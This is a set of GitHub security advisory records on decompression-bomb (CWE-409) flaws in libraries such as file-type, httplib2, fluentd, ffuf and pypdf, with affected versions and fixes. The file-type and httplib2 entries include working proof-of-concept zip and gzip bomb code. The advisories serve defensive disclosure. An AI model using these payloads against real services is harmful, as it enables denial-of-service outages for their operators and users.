CWE-409

{
  "affected": [],
  "aliases": [
    "CVE-2025-63914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-24T20:15:50Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Cinnamon kotaemon 0.11.0. The _may_extract_zip function in the \\libs\\ktem\\ktem\\index\\file\\ui.py file does not check the contents of uploaded ZIP files. Although the contents are extracted into a temporary folder that is cleared before each extraction, successfully uploading a ZIP bomb could still cause the server to consume excessive resources during decompression. Moreover, if no further files are uploaded afterward, the extracted data could occupy disk space and potentially render the system unavailable. Anyone with permission to upload files can carry out this attack.",
  "id": "GHSA-j3h2-559w-j4x9",
  "modified": "2025-11-24T21:31:00Z",
  "published": "2025-11-24T21:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cinnamon/kotaemon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WxDou/CVE-2025-63914"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 21.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "file-type"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0.0"
            },
            {
              "fixed": "21.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32630"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:56:05Z",
    "nvd_published_at": "2026-03-16T14:19:40Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`.\n\nIn affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from \u0027file-type\u0027;\nimport archiver from \u0027archiver\u0027;\nimport {Writable} from \u0027node:stream\u0027;\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) =\u003e {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver(\u0027zip\u0027, {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on(\u0027finish\u0027, () =\u003e {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on(\u0027error\u0027, reject);\n\n\t\tconst xmlPrefix = \u0027\u003c?xml version=\"1.0\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u0027;\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: \u0027[Content_Types].xml\u0027});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log(\u0027ZIP size (KB):\u0027, (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log(\u0027RSS growth (MB):\u0027, ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1",
  "id": "GHSA-j47w-4g3g-c36v",
  "modified": "2026-03-16T21:59:48Z",
  "published": "2026-03-13T20:56:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/commit/399b0f156063f5aeb1c124a7fd61028f3ea7c124"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/commit/a155cd71323279de173c54e8c530d300d3854fdd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sindresorhus/file-type"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/releases/tag/v21.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-106585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-06T21:17:19Z",
    "severity": "MODERATE"
  },
  "details": "In sshd and ssh in OpenSSH before 10.6, there is no check for whether the maximum packet length is exceeded during decompression of highly compressed data.",
  "id": "GHSA-j4h6-744f-q3hq",
  "modified": "2026-10-06T21:32:04Z",
  "published": "2026-10-06T21:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106585"
    },
    {
      "type": "WEB",
      "url": "https://www.openssh.org/releasenotes.html#10.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "httplib2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T15:15:05Z",
    "nvd_published_at": "2026-07-08T20:16:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.\n\nAny application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected.\n\n### Details\n\n**Affected code:** `httplib2/__init__.py` - `_decompressContent()` function\n\nThe decompression path has two unbounded operations:\n\n1. **gzip decompression** (line 394):\n   ```python\n   content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()\n   ```\n   The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.\n\n2. **deflate decompression** (line 397):\n   ```python\n   content = zlib.decompress(content, zlib.MAX_WBITS)\n   ```\n   Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound.\n\n3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins.\n\n**Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server\u0027s compressed payload size.\n\n**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:\n- `Content-Encoding: gzip` header\n- A small compressed body that decompresses to an arbitrarily large size\n\n### Proof of Concept\n\n**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP server that serves a gzip decompression bomb.\"\"\"\nimport gzip\nimport http.server\nimport io\nimport socketserver\n\nUNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB\n\ndef make_payload():\n    \"\"\"Create a gzip payload: ~150 KB compressed -\u003e 150 MB decompressed.\"\"\"\n    buf = io.BytesIO()\n    with gzip.GzipFile(fileobj=buf, mode=\"wb\", compresslevel=9) as gz:\n        chunk = b\"A\" * (1024 * 1024)  # 1 MB of repeating bytes\n        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):\n            gz.write(chunk)\n    return buf.getvalue()\n\nPAYLOAD = make_payload()\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Content-Encoding\", \"gzip\")\n        self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n    def log_message(self, fmt, *args):\n        pass\n\nwith socketserver.TCPServer((\"127.0.0.1\", 8000), Handler) as httpd:\n    print(f\"Bomb server ready: {len(PAYLOAD)} bytes compressed -\u003e \"\n          f\"{UNCOMPRESSED_SIZE} bytes decompressed\")\n    httpd.serve_forever()\n```\n\n**Step 2 - Run the httplib2 client (in a separate terminal):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Client that demonstrates MemoryError from httplib2 decompression bomb.\"\"\"\nimport resource\nimport httplib2\n\n# Set a 180 MB memory limit to make the crash deterministic\nLIMIT_MB = 180\nlimit = LIMIT_MB * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nhttp = httplib2.Http(timeout=5)\ntry:\n    response, content = http.request(\"http://127.0.0.1:8000/\")\n    print(f\"Unexpected success: received {len(content)} bytes\")\nexcept MemoryError:\n    print(f\"MemoryError confirmed: decompression bomb exhausted \"\n          f\"{LIMIT_MB} MB memory limit\")\n    # This is the expected outcome - the 150 KB compressed payload\n    # expanded to 150 MB during decompression, exceeding the limit.\n```\n\n**Expected output (client):**\n```\nMemoryError confirmed: decompression bomb exhausted 180 MB memory limit\n```\n\n**Reproduction metrics:**\n- Compressed payload size: **152,908 bytes** (~150 KB)\n- Decompressed size: **157,286,400 bytes** (150 MB)\n- Amplification ratio: **~1,029x**\n- Client memory limit: 180 MB -\u003e `MemoryError` triggered during `gzip.GzipFile.read()`\n\n### Impact\n\n**Severity: High**\n\nAny application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.\n\n| Parameter | Value |\n|---|---|\n| Compressed payload | ~150 KB |\n| Decompressed size | 150 MB (configurable by attacker) |\n| Amplification ratio | ~1,029x |\n| Authentication required | None |\n| User interaction required | None |\n| Prerequisites | Client makes any HTTP request to attacker-controlled server |\n\n**Real-world scenarios:**\n- **Web scrapers/crawlers** that fetch pages from untrusted URLs\n- **API clients** connecting to third-party services\n- **Webhook handlers** that follow redirects to attacker-controlled endpoints\n- **CI/CD pipelines** that download dependencies or artifacts over HTTP\n- **Any MITM attacker** on an unencrypted HTTP connection can inject the compressed payload\n\n**Impact scaling:** The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.\n\n**Downstream exposure:** `httplib2` is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google\u0027s API client libraries (`google-api-python-client`, `google-auth-httplib2`), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.\n\n---\n### Credit\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "id": "GHSA-j5g9-f88f-gfj3",
  "modified": "2026-08-20T21:31:15Z",
  "published": "2026-07-24T15:15:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/security/advisories/GHSA-j5g9-f88f-gfj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/commit/87581ad6cf752fe3da2090c59058261d2d00a427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/httplib2/httplib2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/releases/tag/v0.32.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2026-3444.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/08/msg00039.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.19.2"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "fluentd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44160"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T16:35:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Fluentd\u0027s `in_http` and `in_forward` plugins support receiving gzip-compressed data.\nWhile Fluentd correctly enforces size limits on the incoming compressed payloads (e.g., via `body_size_limit` or `chunk_size_limit`), it was discovered that there is no limit enforced on the size of the decompressed data.\n\nIf a Fluentd instance is exposed to untrusted networks, an attacker can send a maliciously crafted, highly compressed payload. \nWhen Fluentd attempts to decompress this payload in memory, it will expand to an excessive size, completely bypassing the intended payload size limits.\n\n### Impact\nThis vulnerability allows for a **Denial of Service (DoS)** attack via memory exhaustion. \nThe rapid memory consumption during decompression can easily lead to an Out-of-Memory kill of the Fluentd process by the operating system.\nThis results in the disruption of all log collection and forwarding capabilities on the affected node.\n\n### Patches\nv1.19.3\n\n### Workarounds\nIf an immediate upgrade is not possible, users are strongly advised to apply the following mitigations:\n\n1. Restrict Network Access\n   * Ensure that Fluentd input ports (such as `9880` for `in_http` and `24224` for `in_forward`) are deployed within a closed, trusted network. Use firewall rules (e.g., iptables, AWS Security Groups) to block access from untrusted networks or instances.\n2. Use a Reverse Proxy\n   * If developers must expose HTTP ingestion to external sources, place a robust reverse proxy (such as Nginx) in front of Fluentd. Configure the proxy to handle the gzip decompression and enforce strict limits on both compressed and uncompressed body sizes before passing the traffic to Fluentd.",
  "id": "GHSA-j9cw-hwqf-85w7",
  "modified": "2026-06-26T16:35:38Z",
  "published": "2026-06-26T16:35:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fluent/fluentd/security/advisories/GHSA-j9cw-hwqf-85w7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fluent/fluentd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fluent/fluentd/releases/tag/v1.19.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fluentd is Vulnerable to Denial of Service (DoS) via Gzip Decompression Bomb in `in_http` and `in_forward`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-49158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T12:16:45Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Ruby bindings.\n\nThis issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
  "id": "GHSA-jcj7-w43p-gjh8",
  "modified": "2026-07-27T12:31:16Z",
  "published": "2026-07-27T12:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49158"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/fmjl8l415tj9zwlob8v2dr5hq1d0hts7"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/24/38"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ffuf/ffuf/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ffuf/ffuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T18:02:09Z",
    "nvd_published_at": "2026-08-11T20:18:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n  A malicious or attacker-controlled target server can crash ffuf with an out-of-memory condition by returning a compressed HTTP response that decompresses to a very large body (a decompression\n  bomb). This works against default usage with no special flags.\n\n  ### Details\n\n  The response body size guard in `pkg/runner/simple.go` only checks the server-supplied `Content-Length` header, which reflects the *compressed* size and is absent for chunked responses or when Go\u0027s\n  `net/http` transport transparently decompresses the body. After that check, `io.ReadAll` reads the entire *decompressed* stream into memory with no upper bound, so a small compressed body that\n  expands to gigabytes causes unbounded allocation and the process is terminated by the OS OOM killer.\n\n  The guard is bypassed in three independent ways:\n\n  1. **gzip (default configuration):** the transport requests gzip on its own and transparently decompresses the response, stripping `Content-Encoding` and `Content-Length`, so the size check is\n  skipped and the already-decoded body is read unbounded.\n  2. **brotli/deflate (or gzip with headers preserved):** `Content-Length` reflects the small compressed size and passes the check; the body is then manually decompressed into an unbounded\n  `io.ReadAll`.\n  3. **chunked transfer encoding:** no `Content-Length` header is present, so the numeric parse fails and the check is skipped entirely.\n\n  ### Impact\n\n  Denial of service against the operator running ffuf. A single hostile endpoint can OOM-kill ffuf on a default invocation such as `ffuf -u http://target/FUZZ -w wordlist.txt`, discarding all\n  in-memory scan results. Because the crash recurs on every attempt against that target, a server can effectively make itself immune to ffuf-based content discovery. There is no confidentiality or\n  integrity impact; only the availability of the scanning process is affected. CVSS 3.1 base score 7.5 (`AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`), CWE-409 (Improper Handling of Highly Compressed Data).\n\n  ### Patches\n\n  Fixed in **ffuf 2.2.0** (https://github.com/ffuf/ffuf/releases/tag/v2.2.0) via https://github.com/ffuf/ffuf/pull/897. The response body read is now bounded with `io.LimitReader` to the existing 5\n  MB download cap regardless of `Content-Encoding`, chunked framing, or transport-level decompression; responses exceeding the cap are dropped rather than read into memory. Upgrade to 2.2.0 or later.\n\n  ### Workarounds\n\n  There is no configuration flag that fully mitigates this in affected versions. Until upgrading, limit ffuf usage against untrusted or attacker-influenced targets. Upgrading to 2.2.0 is the fix.\n\n  ### Credits\n\n  Reported by **Jo\u00e3o Tricta** (Hakai Offensive Security).",
  "id": "GHSA-jcvh-xf52-2cwm",
  "modified": "2026-09-03T18:02:09Z",
  "published": "2026-09-03T18:02:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ffuf/ffuf/security/advisories/GHSA-jcvh-xf52-2cwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ffuf/ffuf/pull/897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ffuf/ffuf/commit/fb0da86c60443b0dddbc9a86e91e3a6487dff79b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ffuf/ffuf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ffuf/ffuf/releases/tag/v2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ffuf denial of service (OOM) via HTTP response decompression bomb"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-22T19:40:50Z",
    "nvd_published_at": "2025-10-22T22:15:35Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream of a page using the LZWDecode filter.\n\n### Patches\nThis has been fixed in [pypdf==6.1.3](https://github.com/py-pdf/pypdf/releases/tag/6.1.3).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3502](https://github.com/py-pdf/pypdf/pull/3502).",
  "id": "GHSA-jfx9-29x2-rv3j",
  "modified": "2025-10-23T17:40:45Z",
  "published": "2025-10-22T19:40:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-jfx9-29x2-rv3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/commit/e51d07807ffcdaf18077b9486dadb3dc05b368da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf can exhaust RAM via manipulated LZWDecode streams"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-59274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T06:17:21Z",
    "severity": "MODERATE"
  },
  "details": "The UnZipTransformer does not limit decompressed entry size or entry count when processing archives. Consequently, an attacker can send a zip archive that can exhaust JVM heap memory, causing a denial-of-service outage.\nSpring Integration 7.1.0\nSpring Integration 7.0.0 - 7.0.5\nSpring Integration 6.5.0 - 6.5.10\nSpring Integration 6.4.0 - 6.4.12",
  "id": "GHSA-jmqv-c2qw-xw7r",
  "modified": "2026-08-27T06:31:35Z",
  "published": "2026-08-27T06:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59274"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-59274"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/go-getter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/go-getter/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-0475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-16T23:34:17Z",
    "nvd_published_at": "2023-02-16T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "HashiCorp go-getter up to 1.6.2 and 2.1.1 is vulnerable to decompression bombs. Fixed in 1.7.0 and 2.2.0.",
  "id": "GHSA-jpxj-2jvg-6jv9",
  "modified": "2024-05-20T21:47:40Z",
  "published": "2023-02-16T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0475"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/go-getter/commit/0edab85348271c843782993345b07b1ac98912e6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/go-getter/commit/78e6721a2a76266718dc92c3c03c1571dffdefdc"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2023-4-go-getter-vulnerable-to-denial-of-service-via-malicious-compressed-archive/50125"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hashicorp/go-getter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Data Amplification in HashiCorp go-getter"
}